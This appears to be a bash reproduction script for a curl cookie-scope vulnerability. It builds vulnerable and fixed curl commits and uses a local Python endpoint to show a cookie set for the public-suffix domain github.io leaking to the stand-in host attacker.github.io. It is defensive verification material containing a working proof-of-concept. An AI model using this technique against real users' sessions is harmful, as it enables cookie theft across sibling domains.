#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

# This diagnostic stream remains useful on failures, but is deliberately not
# hashed into runtime_manifest.json while tee is still writing it.
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

REPOSITORY_URL="https://github.com/curl/curl"
FIXED_COMMIT="95c1e8915dce64606bd753fd47f"
FIXED_TAG="curl-8_22_0"
MANIFEST_WRITTEN=0

write_failure_manifest() {
  local rc="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$rc" <<'PY'
import json, os, sys
path, rc = sys.argv[1], int(sys.argv[2])
data = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "HTTP Set-Cookie response followed by a sibling-domain HTTP request",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": False,
    "runtime_stack": ["curl", "libcurl", "libpsl", "local HTTP endpoint"],
    "proof_artifacts": [],
    "artifact_sha256": {},
    "notes": f"Reproduction did not complete (exit {rc}); inspect logs/reproduction_steps.log"
}
tmp = path + ".tmp"
with open(tmp, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True)
    f.write("\n")
os.replace(tmp, path)
PY
}

on_exit() {
  local rc=$?
  trap - EXIT
  if [ "$MANIFEST_WRITTEN" -ne 1 ]; then
    write_failure_manifest "$rc"
  fi
  exit "$rc"
}
trap on_exit EXIT

# Honor the prepared project cache when available. Fall back to a bundle-owned
# artifact directory only when the context is absent or unusable.
CACHE_DIR=""
CONTEXT="$ROOT/project_cache_context.json"
if [ -r "$CONTEXT" ] && jq -e '.prepared == true and (.project_cache_dir | type == "string")' "$CONTEXT" >/dev/null 2>&1; then
  CACHE_DIR="$(jq -r '.project_cache_dir' "$CONTEXT")"
fi
if [ -z "$CACHE_DIR" ] || ! mkdir -p "$CACHE_DIR" 2>/dev/null; then
  CACHE_DIR="$ROOT/artifacts/curl"
  mkdir -p "$CACHE_DIR"
fi
REPO="$CACHE_DIR/repo"
WORK_ROOT="$CACHE_DIR/cve-2026-82209"
mkdir -p "$WORK_ROOT"
printf 'Using project cache: %s\n' "$CACHE_DIR"

# Install only missing build prerequisites. The clean execution image may not
# carry libpsl development headers even when the interactive worker does.
missing=0
for tool in git cmake pkg-config python3 jq; do
  command -v "$tool" >/dev/null 2>&1 || missing=1
done
pkg-config --exists libpsl 2>/dev/null || missing=1
if [ "$missing" -ne 0 ]; then
  sudo apt-get update
  sudo apt-get install -y git cmake pkg-config python3 jq libpsl-dev
fi

if [ ! -d "$REPO/.git" ]; then
  rm -rf "$REPO"
  git clone "$REPOSITORY_URL" "$REPO"
fi
# The immutable fix is named directly. If a shallow/filter cache lacks it,
# fetch the immutable release tag that contains it rather than using a branch.
if ! git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}" 2>/dev/null; then
  git -C "$REPO" fetch --force origin "refs/tags/$FIXED_TAG:refs/tags/$FIXED_TAG"
fi
git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT")"
VULN_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^")"
if [ "$FIXED_RESOLVED" != "95c1e8915dce64606bd753fd47fc0bd236e31cd6" ]; then
  echo "Unexpected fixed commit resolution: $FIXED_RESOLVED" >&2
  exit 1
fi
if git -C "$REPO" show "$VULN_COMMIT:lib/cookie.c" | grep -q 'cannot be tailmatching'; then
  echo "Vulnerable parent unexpectedly contains the patch hunk" >&2
  exit 1
fi
if ! git -C "$REPO" show "$FIXED_RESOLVED:lib/cookie.c" | grep -q 'cannot be tailmatching'; then
  echo "Fixed commit does not contain the expected patch hunk" >&2
  exit 1
fi
printf 'Vulnerable commit: %s\nFixed commit: %s\n' "$VULN_COMMIT" "$FIXED_RESOLVED"

prepare_tree() {
  local name="$1" commit="$2"
  local src="$WORK_ROOT/src-$name"
  if [ -e "$src/.git" ]; then
    git -C "$src" reset --hard "$commit" >/dev/null
    git -C "$src" clean -fdx >/dev/null
  else
    rm -rf "$src"
    git -C "$REPO" worktree prune
    git -C "$REPO" worktree add --detach "$src" "$commit" >/dev/null
  fi
  test "$(git -C "$src" rev-parse HEAD)" = "$commit"
}

build_curl() {
  local name="$1" commit="$2"
  local src="$WORK_ROOT/src-$name"
  local build="$WORK_ROOT/build-$name"
  local stamp="$build/.pruva-build-identity"
  local wanted="commit=$commit;cmake=Release;ssl=off;libpsl=on"
  local bin="$build/src/curl"
  if [ ! -x "$bin" ] || [ ! -r "$stamp" ] || [ "$(cat "$stamp")" != "$wanted" ]; then
    rm -rf "$build"
    cmake -S "$src" -B "$build" \
      -DCMAKE_BUILD_TYPE=Release \
      -DCURL_ENABLE_SSL=OFF \
      -DCURL_USE_LIBPSL=ON \
      -DBUILD_CURL_EXE=ON \
      -DBUILD_EXAMPLES=OFF \
      -DBUILD_TESTING=OFF \
      >"$LOGS/cmake-$name.log" 2>&1
    cmake --build "$build" --target curl --parallel "$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 2)" \
      >"$LOGS/build-$name.log" 2>&1
    printf '%s' "$wanted" >"$stamp"
  else
    printf 'Reusing identity-matched %s build\n' "$name"
  fi
  "$bin" -V | grep -qi 'libpsl'
}

prepare_tree vulnerable "$VULN_COMMIT"
prepare_tree fixed "$FIXED_RESOLVED"
build_curl vulnerable "$VULN_COMMIT"
build_curl fixed "$FIXED_RESOLVED"
VULN_BIN="$WORK_ROOT/build-vulnerable/src/curl"
FIXED_BIN="$WORK_ROOT/build-fixed/src/curl"

# This endpoint is generated by the reproducer and receives real HTTP requests
# from the actual curl product. github.io is a canonical PSL entry used by
# upstream regression test 2318; --resolve avoids reliance on public DNS.
SERVER_PY="$WORK_ROOT/cookie_endpoint.py"
cat >"$SERVER_PY" <<'PY'
#!/usr/bin/env python3
import http.server, json, sys, threading
log_path, port_path = sys.argv[1], sys.argv[2]
log = open(log_path, "w", encoding="utf-8", buffering=1)
class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, fmt, *args):
        return
    def do_GET(self):
        host = self.headers.get("Host", "")
        cookie = self.headers.get("Cookie")
        log.write(json.dumps({"event":"request", "path":self.path,
                              "host":host, "cookie":cookie}, sort_keys=True) + "\n")
        body = b"ok\n"
        self.send_response(200)
        if self.path == "/set":
            self.send_header("Set-Cookie", "sid=DOMAIN_SECRET; Domain=github.io; Path=/")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(body)
        self.wfile.flush()
server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Handler)
with open(port_path, "w", encoding="ascii") as f:
    f.write(str(server.server_address[1]))
log.write(json.dumps({"event":"ready", "address":"127.0.0.1",
                      "port":server.server_address[1]}, sort_keys=True) + "\n")
server.serve_forever()
PY
chmod +x "$SERVER_PY"

rm -f "$REPRO_DIR"/{vulnerable,fixed}-{attempt,server}-*.log "$REPRO_DIR/target-identity.log"

run_attempt() {
  local role="$1" attempt="$2" bin="$3"
  local portfile="$WORK_ROOT/port-$role-$attempt"
  local server_tmp="$WORK_ROOT/server-$role-$attempt.tmp"
  local attempt_tmp="$WORK_ROOT/attempt-$role-$attempt.tmp"
  local server_final="$REPRO_DIR/$role-server-$attempt.log"
  local attempt_final="$REPRO_DIR/$role-attempt-$attempt.log"
  rm -f "$portfile" "$server_tmp" "$attempt_tmp"
  python3 "$SERVER_PY" "$server_tmp" "$portfile" >"$LOGS/server-$role-$attempt.log" 2>&1 &
  local spid=$!
  local ready=0
  for _ in $(seq 1 100); do
    if [ -s "$portfile" ]; then ready=1; break; fi
    if ! kill -0 "$spid" 2>/dev/null; then break; fi
    sleep 0.05
  done
  if [ "$ready" -ne 1 ]; then
    kill "$spid" 2>/dev/null || true
    wait "$spid" 2>/dev/null || true
    echo "HTTP endpoint failed to start for $role attempt $attempt" >&2
    exit 1
  fi
  local port
  port="$(cat "$portfile")"
  {
    printf 'ROLE=%s\nATTEMPT=%s\nBINARY=%s\nPORT=%s\n' "$role" "$attempt" "$bin" "$port"
    "$bin" -V
    printf '%s\n' '--- HTTP exchange ---'
  } >"$attempt_tmp"
  set +e
  timeout 15 "$bin" --noproxy '*' --verbose --show-error \
    --resolve "github.io:$port:127.0.0.1" \
    --resolve "attacker.github.io:$port:127.0.0.1" \
    -b '' \
    "http://github.io:$port/set" \
    "http://attacker.github.io:$port/sibling" \
    "http://github.io:$port/origin-check" >>"$attempt_tmp" 2>&1
  local curl_rc=$?
  set -e
  printf 'CURL_EXIT=%s\n' "$curl_rc" >>"$attempt_tmp"
  # curl has consumed all responses. Stop and reap the endpoint before binding
  # its now-immutable request transcript into the manifest.
  kill "$spid" 2>/dev/null || true
  wait "$spid" 2>/dev/null || true
  mv "$server_tmp" "$server_final"
  mv "$attempt_tmp" "$attempt_final"
  if [ "$curl_rc" -ne 0 ]; then
    echo "$role attempt $attempt failed with curl exit $curl_rc" >&2
    exit 1
  fi
  python3 - "$role" "$server_final" <<'PY'
import json, sys
role, path = sys.argv[1:]
rows = [json.loads(line) for line in open(path, encoding="utf-8")]
req = {r["path"]: r for r in rows if r.get("event") == "request"}
assert "/set" in req and "/sibling" in req and "/origin-check" in req, req
assert req["/set"]["host"].split(":", 1)[0] == "github.io", req
assert req["/sibling"]["host"].split(":", 1)[0] == "attacker.github.io", req
# Both versions must retain the cookie for the exact origin. Only vulnerable
# curl is allowed to leak it to the PSL sibling.
assert req["/origin-check"]["cookie"] == "sid=DOMAIN_SECRET", req
if role == "vulnerable":
    assert req["/sibling"]["cookie"] == "sid=DOMAIN_SECRET", req
else:
    assert req["/sibling"]["cookie"] is None, req
print(f"{role}: endpoint transcript matches expected cookie scope")
PY
}

run_attempt vulnerable 1 "$VULN_BIN"
run_attempt vulnerable 2 "$VULN_BIN"
run_attempt fixed 1 "$FIXED_BIN"
run_attempt fixed 2 "$FIXED_BIN"

# Capture source, feature, and loader identity for the exact product binaries.
{
  printf 'repository=%s\nvulnerable_commit=%s\nfixed_commit=%s\n' \
    "$REPOSITORY_URL" "$VULN_COMMIT" "$FIXED_RESOLVED"
  printf '%s\n' '--- vulnerable curl -V ---'
  "$VULN_BIN" -V
  printf '%s\n' '--- vulnerable ldd ---'
  ldd "$VULN_BIN" 2>&1 || true
  printf '%s\n' '--- fixed curl -V ---'
  "$FIXED_BIN" -V
  printf '%s\n' '--- fixed ldd ---'
  ldd "$FIXED_BIN" 2>&1 || true
} >"$REPRO_DIR/target-identity.log"

TARGET_DIGEST="$(printf 'git:%s@%s' "$REPOSITORY_URL" "$VULN_COMMIT" | sha256sum | awk '{print $1}')"
python3 - "$REPRO_DIR/runtime_manifest.json" "$ROOT" "$REPOSITORY_URL" \
  "$VULN_COMMIT" "$FIXED_RESOLVED" "$TARGET_DIGEST" <<'PY'
import hashlib, json, os, platform, sys
manifest, root, repo, vuln, fixed, target_digest = sys.argv[1:]
relpaths = [
    "repro/vulnerable-attempt-1.log", "repro/vulnerable-server-1.log",
    "repro/vulnerable-attempt-2.log", "repro/vulnerable-server-2.log",
    "repro/fixed-attempt-1.log", "repro/fixed-server-1.log",
    "repro/fixed-attempt-2.log", "repro/fixed-server-2.log",
    "repro/target-identity.log"
]
digests = {}
for rel in relpaths:
    with open(os.path.join(root, rel), "rb") as f:
        digests[rel] = hashlib.sha256(f.read()).hexdigest()
arch = platform.machine().lower()
if arch in ("amd64", "x64"):
    arch = "x86_64"
data = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "Real HTTP Set-Cookie response at github.io followed by a request to attacker.github.io using curl --resolve",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["curl CLI", "libcurl cookie engine", "libpsl", "Python local HTTP endpoint"],
    "target_identity": {
        "repository_url": repo,
        "commit_sha": vuln,
        "target_digest": target_digest,
        "platform": "linux",
        "architecture": arch
    },
    "proof_artifacts": relpaths,
    "artifact_sha256": digests,
    "notes": f"Two vulnerable attempts leaked DOMAIN_SECRET to the sibling; two attempts at fixed commit {fixed} withheld it while retaining it for the exact origin. No sanitizer was used."
}
tmp = manifest + ".tmp"
with open(tmp, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True)
    f.write("\n")
os.replace(tmp, manifest)
PY
MANIFEST_WRITTEN=1

# Validate the structured manifest and all artifact bindings before success.
jq -e '.entrypoint_kind == "endpoint" and .service_started and .healthcheck_passed and .target_path_reached' \
  "$REPRO_DIR/runtime_manifest.json" >/dev/null
python3 - "$REPRO_DIR/runtime_manifest.json" "$ROOT" <<'PY'
import hashlib, json, os, sys
manifest, root = sys.argv[1:]
data = json.load(open(manifest, encoding="utf-8"))
for rel in data["proof_artifacts"]:
    actual = hashlib.sha256(open(os.path.join(root, rel), "rb").read()).hexdigest()
    assert actual == data["artifact_sha256"][rel], (rel, actual)
print("Runtime manifest artifact hashes verified")
PY
printf '%s\n' 'CONFIRMED: vulnerable curl leaked the PSL-apex cookie to attacker.github.io in both attempts; fixed curl withheld it in both controls.'
